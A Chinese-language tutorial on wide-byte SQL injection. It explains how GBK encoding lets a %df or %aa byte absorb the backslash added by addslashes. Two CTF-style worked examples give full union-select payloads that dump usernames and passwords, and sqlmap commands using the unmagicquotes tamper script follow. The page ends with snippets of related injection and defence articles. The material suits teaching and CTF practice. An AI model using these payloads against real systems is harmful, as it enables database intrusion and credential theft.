SQL注入宽字节注入由浅到深学习

目录
  • 前言
  • 基础知识
    • 宽字节
    • 宽字节注入
  • 例子
    • 例题一
    • 例题二
  • SQLMAP应用
  • 结语

前言

突然想起来之前讲SQL注入时忘记讲一下这个宽字节注入了,因为这个知识点还是挺重要的,所以本文就带大家了解一下宽字节注入的原理以及应用方法,下面由我来给大家详细讲解一下。

基础知识

宽字节

在了解宽字节注入之前,我们要了解一下什么是宽字节,相对于单字节,我们引入一个字符数大小为两个字节的为宽字节,比如GBK编码,我们汉字通常使用的就是GBK编码,也就是说一次性会读取两个字节。

宽字节注入

产生宽字节注入的原因涉及了编码转换的问题,当我们的mysql使用GBK编码后,同时两个字符的前一个字符ASCII码大于128时,会将两个字符认成一个汉字,那么大家像一个,如果存在过滤我们输入的函数(addslashes()、mysql_real_escape_string()、mysql_escape_string()、Magic_quotes_gpc)会将我们的输入进行转义,那么我们是不是可以尝试注入,我们举一个简单的例子:

addslashes()函数

该函数的作用是返回在预定义字符之前添加反斜杠的字符串。于是我们可以分析一下我们转入的参数流程:

假设我们传入一个参数id为1'查看数据库是否错报:

index.php?id=1'

那么经过函数过滤后我们的输入拼接到sql语句就会变成:

select * from user where id = '1''

可以看到单引号被转义了,加入我们像下面一样传参:

可以看到我们传入的参数与\合并成了一个汉字,具体可以参考下图:

可以看到我们的单引号没有被转义,从而达到了闭合单引号的效果,这就是一个简单的宽字节注入。但是需要有个前提,也就是MYSQL设置了GBK编码:

SET character_set_client =gbk

例子

例题一

进入页面发现url可以有个变量id可以传入参数,于是我们传参测试是否报错

?id=1'

发现单引号被转义了,数据库没有进行错报,具体可以看下图:

结合我们上面学习到的宽字节注入的知识,怀疑是addslashes函数转义了我们的单引号,于是我们尝试进行绕过,我们先查询列数:

?id=1%aa%27 order by 3--+

发现列数为三后,判断回显位置:

?id=-1%aa%27union select 1,2,database()--+

成功爆出了数据库的名字,于是后面操作就跟平常的SQL注入一样了:

?id=-1%aa%27union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

例题二

打开网页有一个查询框让我们进行查询,我们尝试加入单引号但发现没有报错,于是查看下源码看看有没有有用信息:

gb2312正是汉字编码字符集,于是我们尝试宽字节注入:

?id=1%df%27%20union%20select%201,database()%23

成功回显了数据库的名字,说明可行,于是我们继续注入:

?id=1%df%27%20union%20select%201,string%20from%20sql5.key%20--%20

得到了我们想要查询的信息。

SQLMAP应用

SQLMAP作为一个强大的SQL注入自动化工具也是可以进行宽字节注入测试的,下面我们来学习一下利用SQLMAP走一遍宽字节注入的流程:

先跑数据库名:

sqlmap.py -u "http://sql/index.php?id=3" --tamper unmagicquotes --dbs

其中tamper为利用SQLMAP中自带的脚本,当然我们也可以手动导入,而unmagicquotes为我们宽字节注入利用的脚本,下面查询表名:

index.php?id=3" --tamper unmagicquotes -D 'xino' --tables

爆出来表名后爆列名:

index.php?id=3" --tamper unmagicquotes -D `xino` -T ctf --columns

之后我们爆出数据:

id=3" --tamper unmagicquotes -D `xino` -T ctf -C flag

SQLMAP中进行宽字节注入还是比较简单的,只需要注意我们利用到了sqlmap的宽字节注入脚本,其他的跟平时注入并没有很大的差别。

结语

今天总结了一下宽字节注入的原理以及应用方法,整的来看宽字节注入的利用环境就是当我们的单引号被转义了不能进行注入时可以考虑利用宽字符的编码解析特性来进行单引号的逃逸,认真学习一下还是比较容易理解的,更多关于SQL宽字节注入的资料请关注我们其它相关文章!

(0)

相关推荐

  • Mybatisplus详解如何注入自定义的SQL

    目录 SQL 注入器 第一步重写getMethodList 第二步定义自己的SQL方法类 第三步定义添加了自定义方法的Mapper类 测试调用 遗留问题 SQL 注入器 官方文档提供了一个小案例 自定义 Mapper 示例 解读:DefaultSqlInjector就是一个注册类,其中注册了一系列 mybatis-plus 内置的 update,insert,select SQL 语句方法, 并且对表主键是否存在进行了判定:如果设置了主键,那么会注册 DeleteById 等方法,没有则不注册.

  • SQL注入的四种防御方法总结

    目录 前言 限制数据类型 正则表达式匹配传入参数 函数过滤转义 预编译语句 总结 前言 最近了解到安全公司的面试中都问到了很多关于SQL注入的一些原理和注入类型的问题,甚至是SQL注入的防御方法.SQL注入真的算是web漏洞中的元老了,著名且危害性极大.下面这里就简单的分享一下我总结的四种SQL注入防御手段,加深理解,方便下次遇到这种问题时可以直接拿来使用.(主要是怕面试中脑壳打铁,这种情况太常见了) SQL注入占我们渗透学习中极大地一部分,拥有这很重要的地位.随着防御手段的不段深入,市面上存在

  • Mybatis-plus sql注入及防止sql注入详解

    目录 一.SQL注入是什么? 二.mybatis是如何做到防止sql注入的 1. #{} 和 ${} 两者的区别 2.PreparedStatement和Statement的区别 3.什么是预编译 4.mybaits-plus sql注入产生的原因 三.Mybatis-plus是如何做到防止sql注入的 补充:Mybatis Plus自定义全局SQL注入 总结 一.SQL注入是什么? SQL注入是一种代码注入技术,用于攻击数据驱动的应用,恶意的SQL语句被 插入到执行的SQL语句中来改变查询结果

  • SQL注入报错注入函数图文详解

    目录 前言 常用报错函数 用法详解 updatexml()函数 实例 extractvalue()函数 floor()函数 exp()函数 12种报错注入函数 总结 前言 报错注入的前提是当语句发生错误时,错误信息被输出到前端.其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(),mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句. 常用报错函数 updatexml()        

  • SQL注入篇学习之盲注/宽字节注入

    目录 盲注 布尔盲注 时间盲注 盲注函数 length()函数返回字符串的长度 演示语句 burp抓包演示 宽字节注入 php魔术函数 开启方式 开启效果 作用 绕过方法 宽字节注入 总结 盲注 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 时间盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过时间注入多一个if() 布尔盲注 布尔很明显就是true和fa

  • Web网络安全解析宽字节注入攻击原理

    目录 宽字节注入攻击 宽字节注入代码分析 宽字节注入攻击 宽字节注入攻击的测试地址:http://127.0.0.1/sqli/kuanzijie.php?id=1. 访问id=1',页面返回的结果如图46所示,程序并没有报错,反而多了一个转义符(反斜杠). 图46 单引号被转义 从返回的结果可以看出,参数id=1在数据库查询时是被单引号包围的.当传入id=1'时,传入的单引号又被转义符(反斜杠)转义,导致参数ID无法逃逸单引号的包围,所以在一般情况下,此处是不存在SQL注入漏洞的.不过有一个特

  • SQL注入宽字节注入由浅到深学习

    目录 前言 基础知识 宽字节 宽字节注入 例子 例题一 例题二 SQLMAP应用 结语 前言 突然想起来之前讲SQL注入时忘记讲一下这个宽字节注入了,因为这个知识点还是挺重要的,所以本文就带大家了解一下宽字节注入的原理以及应用方法,下面由我来给大家详细讲解一下. 基础知识 宽字节 在了解宽字节注入之前,我们要了解一下什么是宽字节,相对于单字节,我们引入一个字符数大小为两个字节的为宽字节,比如GBK编码,我们汉字通常使用的就是GBK编码,也就是说一次性会读取两个字节. 宽字节注入 产生宽字节注入的

  • SQL Injection with MySQL 注入分析

    声明 本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试.绝对真实.如果有什么遗漏或错误,欢迎来安全天使论坛和我交流. 前言 2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称

  • 浅谈spring ioc的注入方式及注入不同的数据类型

    关于Spring-IoC的简单使用参考: spring ioc的简单实例及bean的作用域属性解析 1.通过set方法注入不同数据类型 测试类代码(set方式注入的属性一定要加set方法) /**通过set方法注入示例*/ public class IoC_By_Set { /**注入Integer类型参数*/ private Integer id; /**注入String类型参数*/ private String name; /**注入实体Bean*/ private User user; /

  • Java使用过滤器防止SQL注入XSS脚本注入的实现

    前几天有个客户在系统上写了一段html语句,打开页面就显示一张炒鸡大的图片,影响美观.后来仔细想想,幸亏注入的仅仅是html语句,知道严重性后,马上开始一番系统安全配置. 一. 定义过滤器 package com.cn.unit.filter; import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; i

  • 详解PHP的Yii框架中组件行为的属性注入和方法注入

    行为的属性和方法注入原理 上面我们了解到了行为的用意在于将自身的属性和方法注入给所依附的类. 那么Yii中是如何将一个行为 yii\base\Behavior 的属性和方法, 注入到一个 yii\base\Component 中的呢? 对于属性而言,是通过 __get() 和 __set() 魔术方法来实现的. 对于方法,是通过 __call() 方法. 属性的注入 以读取为例,如果访问 $Component->property1 ,Yii在幕后干了些什么呢? 这个看看 yii\base\Com

  • C++多字节字符与宽字节字符相互转换

    最近在C++编程中经常遇到需要多字节字符与宽字节字符相互转换的问题,一直自己贴那几句代码.觉得麻烦,于是就自己写了一个类来封装wchar_t与char类型间的转换,其他的,诸如:CString\ LPWSTR\TCHAR CHAR\LPSTR之间也是一样用 复制代码 代码如下: #include <iostream> using namespace std; class CUser { public: CUser(); virtual~ CUser(); char* WcharToChar(w

  • 浅谈MyBatis-Plus学习之Oracle的主键Sequence设置的方法

    一.Oracle的主键Sequence设置简介 在Oracle数据库中不支持主键自增策略,它是通过Sequence序列来进行完成的,因此需要在MP中进行相关配置 二.相关配置如下 2.1.pom.xml 添加相关依赖 注意:由于oracle的授权问题,没办法从maven仓库中下载,因此可以手动从oracle官网中下载,并本地打包到仓库中 <!-- Oracle驱动: 因为Oracle授权的问题,不能从Maven的仓库中下载到Oracle驱动 --> <dependency> <

随机推荐